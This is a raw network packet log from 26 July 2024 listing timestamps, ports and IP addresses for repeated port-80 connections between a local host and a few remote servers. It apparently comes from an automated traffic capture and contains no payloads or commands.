Jul 26, 2024 13:50:39.186423063 CEST	63329	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:39.186875105 CEST	63329	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:39.192682028 CEST	80	63329	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:39.966262102 CEST	80	63329	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:39.966387987 CEST	63329	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:39.969167948 CEST	63329	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:39.969521999 CEST	63331	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:39.977142096 CEST	80	63331	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:39.977477074 CEST	80	63329	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:39.977588892 CEST	63329	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:39.977607965 CEST	63331	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:39.977730989 CEST	63331	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:39.985564947 CEST	80	63331	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:40.531936884 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:40.536938906 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:40.632745028 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:40.639205933 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:40.841875076 CEST	80	63331	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:40.841972113 CEST	63331	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:40.957833052 CEST	63331	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:40.958096027 CEST	63332	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:40.965645075 CEST	80	63332	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:40.965703964 CEST	80	63331	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:40.965764046 CEST	63332	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:40.965805054 CEST	63331	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:40.966125011 CEST	63332	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:40.971353054 CEST	80	63332	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:41.728416920 CEST	80	63332	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:41.728533030 CEST	63332	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:41.732029915 CEST	63332	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:41.732389927 CEST	63333	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:41.737370968 CEST	80	63332	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:41.737433910 CEST	80	63333	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:41.737507105 CEST	63332	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:41.737562895 CEST	63333	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:41.737982035 CEST	63333	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:41.747462034 CEST	80	63333	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:42.507687092 CEST	80	63333	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:42.510853052 CEST	63333	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:42.629421949 CEST	63333	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:42.629679918 CEST	63334	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:42.634613037 CEST	80	63334	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:42.634849072 CEST	80	63333	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:42.635102987 CEST	63333	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:42.635102987 CEST	63334	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:42.635683060 CEST	63334	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:42.640620947 CEST	80	63334	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:43.374593019 CEST	80	63334	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:43.374818087 CEST	63334	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:43.377470016 CEST	63334	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:43.377768993 CEST	63335	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:43.382746935 CEST	80	63335	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:43.382900953 CEST	63335	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:43.382946014 CEST	80	63334	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:43.383071899 CEST	63334	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:43.383137941 CEST	63335	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:43.387988091 CEST	80	63335	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:44.145876884 CEST	80	63335	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:44.149331093 CEST	63335	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:44.259646893 CEST	63335	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:44.259907007 CEST	63336	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:44.264827013 CEST	80	63336	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:44.265311956 CEST	80	63335	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:44.265464067 CEST	63335	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:44.265489101 CEST	63336	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:44.265736103 CEST	63336	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:44.270577908 CEST	80	63336	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:45.026932955 CEST	80	63336	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:45.028140068 CEST	63336	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:45.031492949 CEST	63336	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:45.031984091 CEST	63337	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:45.036773920 CEST	80	63336	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:45.036859035 CEST	63336	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:45.036987066 CEST	80	63337	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:45.037513971 CEST	63337	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:45.038019896 CEST	63337	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:45.042983055 CEST	80	63337	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:45.803405046 CEST	80	63337	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:45.806888103 CEST	63337	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:45.912091970 CEST	63337	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:45.912230968 CEST	63338	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:45.922786951 CEST	80	63338	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:45.922827959 CEST	80	63337	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:45.922938108 CEST	63337	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:45.922938108 CEST	63338	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:45.923230886 CEST	63338	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:45.933543921 CEST	80	63338	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:46.688143969 CEST	80	63338	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:46.690979004 CEST	63338	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:46.693140030 CEST	63338	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:46.693454027 CEST	63339	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:46.698714972 CEST	80	63339	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:46.699449062 CEST	80	63338	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:46.699632883 CEST	63338	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:46.699641943 CEST	63339	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:46.699840069 CEST	63339	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:46.705347061 CEST	80	63339	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:47.483797073 CEST	80	63339	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:47.485846043 CEST	63339	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:47.602118969 CEST	63339	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:47.602950096 CEST	63340	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:47.607760906 CEST	80	63339	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:47.607858896 CEST	63339	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:47.607904911 CEST	80	63340	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:47.608175993 CEST	63340	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:47.608378887 CEST	63340	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:47.613703966 CEST	80	63340	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:48.361743927 CEST	80	63340	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:48.363085985 CEST	63340	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:48.365551949 CEST	63340	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:48.365808964 CEST	63341	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:48.370824099 CEST	80	63341	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:48.371388912 CEST	80	63340	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:48.371495962 CEST	63341	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:48.371498108 CEST	63340	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:48.371676922 CEST	63341	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:48.376523018 CEST	80	63341	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:48.385524988 CEST	63341	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:48.506808996 CEST	63342	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:48.511930943 CEST	80	63342	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:48.512962103 CEST	63342	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:48.513046980 CEST	63342	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:48.518891096 CEST	80	63342	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:49.295089960 CEST	80	63342	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:49.295170069 CEST	63342	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:49.298270941 CEST	63342	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:49.298646927 CEST	63343	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:49.304373026 CEST	80	63342	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:49.304389954 CEST	80	63343	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:49.304436922 CEST	63342	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:49.304477930 CEST	63343	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:49.304739952 CEST	63343	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:49.312083006 CEST	80	63343	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:50.308476925 CEST	80	63343	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:50.308581114 CEST	63343	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:50.309711933 CEST	80	63343	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:50.309794903 CEST	63343	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:50.419729948 CEST	63343	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:50.419958115 CEST	63344	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:50.425318956 CEST	80	63344	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:50.425415993 CEST	63344	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:50.425724983 CEST	80	63343	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:50.426052094 CEST	63344	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:50.426099062 CEST	63343	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:50.432037115 CEST	80	63344	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:50.637603998 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:50.642954111 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:50.738004923 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:50.745223045 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:50.901215076 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:50.907208920 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:51.011013985 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:51.016220093 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:51.021789074 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:51.111749887 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:51.120368958 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:51.220915079 CEST	80	63344	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:51.221204042 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:51.221225023 CEST	63344	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:51.224765062 CEST	63344	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:51.224783897 CEST	63346	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:51.230700016 CEST	80	63346	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:51.231937885 CEST	80	63344	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:51.232511997 CEST	63346	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:51.232511997 CEST	63346	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:51.232620001 CEST	63344	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:51.242106915 CEST	80	63346	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:52.230159998 CEST	80	63346	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:52.230381966 CEST	63346	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:52.350838900 CEST	63346	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:52.351089954 CEST	63347	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:52.356318951 CEST	80	63346	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:52.356442928 CEST	80	63347	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:52.356451035 CEST	63346	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:52.356688976 CEST	63347	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:52.356904984 CEST	63347	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:52.362050056 CEST	80	63347	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:53.108242989 CEST	80	63347	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:53.108405113 CEST	63347	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:53.111355066 CEST	63347	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:53.111790895 CEST	63348	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:53.116926908 CEST	80	63348	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:53.117331028 CEST	80	63347	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:53.117427111 CEST	63347	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:53.117873907 CEST	63348	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:53.117873907 CEST	63348	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:53.122754097 CEST	80	63348	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:53.870520115 CEST	80	63348	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:53.870738983 CEST	63348	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:53.980226040 CEST	63348	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:53.980489016 CEST	63349	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:53.985444069 CEST	80	63349	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:53.985523939 CEST	63349	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:53.985734940 CEST	63349	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:53.986234903 CEST	80	63348	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:53.986824989 CEST	63348	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:53.991003036 CEST	80	63349	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:54.770004034 CEST	80	63349	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:54.771934986 CEST	63349	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:54.777057886 CEST	63349	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:54.777581930 CEST	63350	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:54.782578945 CEST	80	63349	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:54.782768965 CEST	63349	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:54.782929897 CEST	80	63350	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:54.783307076 CEST	63350	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:54.783634901 CEST	63350	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:54.789315939 CEST	80	63350	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:55.527940989 CEST	80	63350	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:55.528049946 CEST	63350	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:55.651202917 CEST	63351	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:55.651309967 CEST	63350	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:55.656115055 CEST	80	63351	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:55.656744003 CEST	63351	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:55.656903982 CEST	63351	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:55.657500029 CEST	80	63350	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:55.657776117 CEST	63350	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:55.662431955 CEST	80	63351	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:56.402415991 CEST	80	63351	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:56.402570963 CEST	63351	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:56.404973984 CEST	63351	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:56.405225992 CEST	63352	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:56.411623001 CEST	80	63351	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:56.411633968 CEST	80	63352	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:56.411710024 CEST	63351	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:56.411748886 CEST	63352	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:56.411959887 CEST	63352	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:56.416738033 CEST	80	63352	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:57.190196991 CEST	80	63352	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:57.196512938 CEST	63352	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:57.301284075 CEST	63353	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:57.301548004 CEST	63352	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:57.306786060 CEST	80	63353	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:57.307930946 CEST	80	63352	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:57.309417963 CEST	63352	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:57.309432983 CEST	63353	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:57.309951067 CEST	63353	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:57.314807892 CEST	80	63353	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:58.057826996 CEST	80	63353	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:58.058036089 CEST	63353	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:58.061216116 CEST	63353	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:58.061467886 CEST	63354	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:58.066580057 CEST	80	63354	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:58.066693068 CEST	63354	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:58.066919088 CEST	63354	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:58.067490101 CEST	80	63353	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:58.067569971 CEST	63353	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:58.075532913 CEST	80	63354	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:58.834701061 CEST	80	63354	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:58.834933043 CEST	63354	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:58.950531960 CEST	63354	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:58.950908899 CEST	63355	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:58.955863953 CEST	80	63355	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:58.955998898 CEST	63355	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:58.956202030 CEST	63355	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:58.956866980 CEST	80	63354	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:58.956954956 CEST	63354	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:58.962342978 CEST	80	63355	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:59.972357035 CEST	80	63355	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:59.972470999 CEST	63355	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:59.975578070 CEST	63355	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:59.975913048 CEST	63356	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:59.976566076 CEST	80	63355	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:59.976645947 CEST	63355	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:00.235805988 CEST	80	63355	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:00.235929012 CEST	63355	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:00.239540100 CEST	80	63356	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:00.239975929 CEST	63356	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:00.240242004 CEST	80	63355	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:00.240287066 CEST	63356	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:00.240365028 CEST	63355	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:00.245157003 CEST	80	63356	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:01.020334005 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:01.028412104 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:01.059632063 CEST	80	63356	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:01.059896946 CEST	63356	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:01.121062040 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:01.127463102 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:01.168513060 CEST	63357	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:01.168597937 CEST	63356	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:01.175816059 CEST	80	63357	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:01.178745031 CEST	63357	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:01.178745031 CEST	63357	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:01.178781033 CEST	80	63356	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:01.179202080 CEST	63356	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:01.189124107 CEST	80	63357	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:01.797660112 CEST	63358	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:51:01.989027023 CEST	80	63357	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:01.990506887 CEST	80	63358	185.215.113.16	192.168.2.6
Jul 26, 2024 13:51:01.990600109 CEST	63357	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:01.990628004 CEST	63358	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:51:01.990875959 CEST	63358	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:51:01.993032932 CEST	63357	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:01.993278980 CEST	63359	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:01.995960951 CEST	80	63358	185.215.113.16	192.168.2.6
Jul 26, 2024 13:51:01.998240948 CEST	80	63359	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:01.998326063 CEST	63359	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:01.998471022 CEST	63359	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:01.998909950 CEST	80	63357	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:02.002823114 CEST	63357	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:02.003285885 CEST	80	63359	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:02.777308941 CEST	80	63359	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:02.777371883 CEST	80	63358	185.215.113.16	192.168.2.6
Jul 26, 2024 13:51:02.777705908 CEST	63359	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:02.777868032 CEST	63358	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:51:02.778923988 CEST	63358	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:51:02.783885956 CEST	80	63358	185.215.113.16	192.168.2.6
Jul 26, 2024 13:51:02.895517111 CEST	63359	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:02.895754099 CEST	63360	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:02.900686026 CEST	80	63360	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:02.900763988 CEST	63360	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:02.900949955 CEST	63360	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:02.901586056 CEST	80	63359	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:02.901767015 CEST	63359	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:02.906102896 CEST	80	63360	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:03.029675961 CEST	80	63358	185.215.113.16	192.168.2.6
Jul 26, 2024 13:51:03.030735016 CEST	63358	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:51:03.668167114 CEST	80	63360	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:03.668375015 CEST	63360	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:03.671802044 CEST	63360	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:03.672362089 CEST	63361	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:03.677290916 CEST	80	63361	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:03.677639008 CEST	80	63360	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:03.677742958 CEST	63360	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:03.678066015 CEST	63361	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:03.678066015 CEST	63361	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:03.682890892 CEST	80	63361	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:04.447405100 CEST	80	63361	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:04.447479010 CEST	63361	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:04.565403938 CEST	63361	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:04.565598965 CEST	63362	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:04.570535898 CEST	80	63362	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:04.570612907 CEST	63362	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:04.570823908 CEST	63362	80	192.168.2.6	185.215.113.19
